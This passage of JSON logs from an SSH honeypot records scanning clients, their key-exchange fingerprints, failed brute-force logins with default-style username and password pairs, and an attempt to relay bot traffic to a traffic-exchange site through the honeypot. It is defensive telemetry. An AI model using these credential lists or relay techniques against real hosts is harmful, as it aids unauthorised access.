\\x8b\\xfa\\xe6H\\xa7]\\xe0\\xc9P\\xc1\\xf2\\x08\\x87|9\\xfd\\xdc\\xf8\\xd1\\xd4\\xefg\\x9b\\xed\\xe8\\xc1\\xd5_\\x98kD\\x9c\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88R\\x0f>\\xd2\\xbf\\xcaY]e\\x8c\\xa7\\x12\\\\\\xe1\\xc8n\\xc0\\x089\\xd4\\x90\\x0b\\x14]\\xb3,\\xc3g\\x1d\\xd4S\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:32.800515Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.652522Z","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.666752Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RCFRaUxYY2pBOGtiRCs%2Bdw%3D%3D67h5FskrsD92hjxSUT73wCu7DMXgOyqeOjWlX7jVJfjvmo1ndwkOucbOUH4%2BopuK%2BQO%2F53BX5DFU1A%2FmScT2D00pPqVtehSDaQK2OoPpGLY1i03ULIdSgwJK%2Fuxe%2BlyEr6VDHV0MK16HW69EqR4BcdeIP52h4HDTgAGSnjwVlkHI38m02kkOszPhzAevGv6C3AyduR313TvS%2FPYOXOrv543VbC6%2FMqQX6jwykeZ70ipHqa2s%2Fwr3n2WHiDhl515%2FtwwwnD8lx0HxtK0h6BPLiqDm1rmLgjc%2F9sMCsaAIXcPxD2gC7e8MsbHTP3Bw%2BSd3UoBRSXtn%2Ff0Q7hD%2BbxMF4%2Bdmve5GvZSkyO%2B5jBpCQ2qQQq3SFPXR5T2CTsYXwgFzGqPG6xnyCfXQpaSsdkbLzGu0OD2P3JZUrCmDa0camnzTgLiysSV%2Bh0UHy2eL7lnvXx5cVzYDWhEuaRSaJ2IPyF6yJMNvhd6FH%2FPAtCCqc9moFWC3AM2T5ukrHO7yf4gSXvxvdFRGoUw9cjmLiW6mMDUjq0mUvLGlqG6Y0W4PycPXrPjvvL0CU4Wt8yylPMcuYQ0mjRwfbHDY8SgMjaThQVj5QUJyoCaAHb9fZx8LqV7ve8yycBtYVWHzM4xjcTp7O6cKpZM%2BqQxFXq02cwEe9LawLjHRqZs9FHrZ%2Blnlic%2B%2B%2BUFFSBYluOrxGtKtIqms7EX8%2BaiJOra4Pd9ys0E1w4gJ20kg5Sn7q07sJ1BZR1Tpp175zPgfUNbWVb83j8sg5A2upA0F8yhGmt6Mx5B4DlPJfTx5%2F37ykxVHsxbemOjh9AqCsW7VGGIV%2BTt4Eb%2BGdRXOnDTLyjVmP0zY5M3qnP3GSmnUxmHZ0HM1DG0Zifo4XdZyT7uBwJKDk%2FzjMKMna0N%2BCAkDAW5l36wGRZtNkb7y2Bi1ZqMXQPxyZOFnYQmAuU9adIqpjeNyML9wT0FuagfLd0qvqWHRrq5H3jIpwm5RCRUEGgYDSi%2FB9josXeFJK4c5JHYKuGn3b4QnmlHhXFEZYuWzMv%2FD5PDigwIBmPVebA68%2BY7%2FCDGznMNOh2kwBbdKfCxjDd3BQJfO3qef'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=RCFRaUxYY2pBOGtiRCs%2Bdw%3D%3D67h5FskrsD92hjxSUT73wCu7DMXgOyqeOjWlX7jVJfjvmo1ndwkOucbOUH4%2BopuK%2BQO%2F53BX5DFU1A%2FmScT2D00pPqVtehSDaQK2OoPpGLY1i03ULIdSgwJK%2Fuxe%2BlyEr6VDHV0MK16HW69EqR4BcdeIP52h4HDTgAGSnjwVlkHI38m02kkOszPhzAevGv6C3AyduR313TvS%2FPYOXOrv543VbC6%2FMqQX6jwykeZ70ipHqa2s%2Fwr3n2WHiDhl515%2FtwwwnD8lx0HxtK0h6BPLiqDm1rmLgjc%2F9sMCsaAIXcPxD2gC7e8MsbHTP3Bw%2BSd3UoBRSXtn%2Ff0Q7hD%2BbxMF4%2Bdmve5GvZSkyO%2B5jBpCQ2qQQq3SFPXR5T2CTsYXwgFzGqPG6xnyCfXQpaSsdkbLzGu0OD2P3JZUrCmDa0camnzTgLiysSV%2Bh0UHy2eL7lnvXx5cVzYDWhEuaRSaJ2IPyF6yJMNvhd6FH%2FPAtCCqc9moFWC3AM2T5ukrHO7yf4gSXvxvdFRGoUw9cjmLiW6mMDUjq0mUvLGlqG6Y0W4PycPXrPjvvL0CU4Wt8yylPMcuYQ0mjRwfbHDY8SgMjaThQVj5QUJyoCaAHb9fZx8LqV7ve8yycBtYVWHzM4xjcTp7O6cKpZM%2BqQxFXq02cwEe9LawLjHRqZs9FHrZ%2Blnlic%2B%2B%2BUFFSBYluOrxGtKtIqms7EX8%2BaiJOra4Pd9ys0E1w4gJ20kg5Sn7q07sJ1BZR1Tpp175zPgfUNbWVb83j8sg5A2upA0F8yhGmt6Mx5B4DlPJfTx5%2F37ykxVHsxbemOjh9AqCsW7VGGIV%2BTt4Eb%2BGdRXOnDTLyjVmP0zY5M3qnP3GSmnUxmHZ0HM1DG0Zifo4XdZyT7uBwJKDk%2FzjMKMna0N%2BCAkDAW5l36wGRZtNkb7y2Bi1ZqMXQPxyZOFnYQmAuU9adIqpjeNyML9wT0FuagfLd0qvqWHRrq5H3jIpwm5RCRUEGgYDSi%2FB9josXeFJK4c5JHYKuGn3b4QnmlHhXFEZYuWzMv%2FD5PDigwIBmPVebA68%2BY7%2FCDGznMNOh2kwBbdKfCxjDd3BQJfO3qef'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.669511Z","src_ip":"23.148.145.132","session":"a6fac4c3cfa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53858,"dst_ip":"10.17.0.5","dst_port":22,"session":"886880b24b5e","protocol":"ssh","message":"New connection: 45.153.34.195:53858 (10.17.0.5:22) [session: 886880b24b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.705037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.726020Z","src_ip":"45.153.34.195","session":"886880b24b5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.814440Z","src_ip":"45.153.34.195","session":"886880b24b5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57688,"dst_ip":"10.17.0.5","dst_port":22,"session":"d78ecd71c1be","protocol":"ssh","message":"New connection: 91.92.40.36:57688 (10.17.0.5:22) [session: d78ecd71c1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:33.830884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:34.105973Z","src_ip":"91.92.40.36","session":"d78ecd71c1be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:34.132635Z","src_ip":"91.92.40.36","session":"d78ecd71c1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123456","message":"login attempt [gituser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:34.455806Z","src_ip":"45.153.34.195","session":"886880b24b5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:35.539879Z","src_ip":"45.153.34.195","session":"886880b24b5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins123","message":"login attempt [jenkins/jenkins123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:35.616346Z","src_ip":"91.92.40.36","session":"d78ecd71c1be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.178472Z","src_ip":"23.148.145.132","session":"6aaaf091c36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53872,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c72f5a1def","protocol":"ssh","message":"New connection: 45.153.34.195:53872 (10.17.0.5:22) [session: 36c72f5a1def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.623129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.628852Z","src_ip":"45.153.34.195","session":"36c72f5a1def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.730230Z","src_ip":"45.153.34.195","session":"36c72f5a1def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.180.146","src_port":43230,"dst_ip":"159.203.135.109","dst_port":22,"session":"240a66f4f6f3","protocol":"ssh","message":"New connection: 160.187.180.146:43230 (159.203.135.109:22) [session: 240a66f4f6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.839254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:36.844835Z","src_ip":"160.187.180.146","session":"240a66f4f6f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:37.075142Z","src_ip":"160.187.180.146","session":"240a66f4f6f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"john","message":"login attempt [john/john] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:37.276097Z","src_ip":"45.153.34.195","session":"36c72f5a1def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:37.308366Z","src_ip":"91.92.40.36","session":"d78ecd71c1be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiying","password":"qiying","message":"login attempt [qiying/qiying] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:38.024614Z","src_ip":"160.187.180.146","session":"240a66f4f6f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:38.359326Z","src_ip":"45.153.34.195","session":"36c72f5a1def","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:39.255323Z","src_ip":"160.187.180.146","session":"240a66f4f6f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53874,"dst_ip":"10.17.0.5","dst_port":22,"session":"542d902de3b4","protocol":"ssh","message":"New connection: 45.153.34.195:53874 (10.17.0.5:22) [session: 542d902de3b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:39.703576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:39.707618Z","src_ip":"45.153.34.195","session":"542d902de3b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:39.808801Z","src_ip":"45.153.34.195","session":"542d902de3b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password123","message":"login attempt [postgres/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:40.070951Z","src_ip":"45.153.34.195","session":"542d902de3b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:41.160924Z","src_ip":"45.153.34.195","session":"542d902de3b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45282,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bd1444b973a","protocol":"ssh","message":"New connection: 91.92.40.36:45282 (10.17.0.5:22) [session: 4bd1444b973a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:41.908653Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":40152,"dst_ip":"10.17.0.5","dst_port":22,"session":"83bbfd67221a","protocol":"ssh","message":"New connection: 45.153.34.195:40152 (10.17.0.5:22) [session: 83bbfd67221a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:42.510573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:40:42.664491Z","src_ip":"45.153.34.195","session":"83bbfd67221a","protocol":"ssh"}
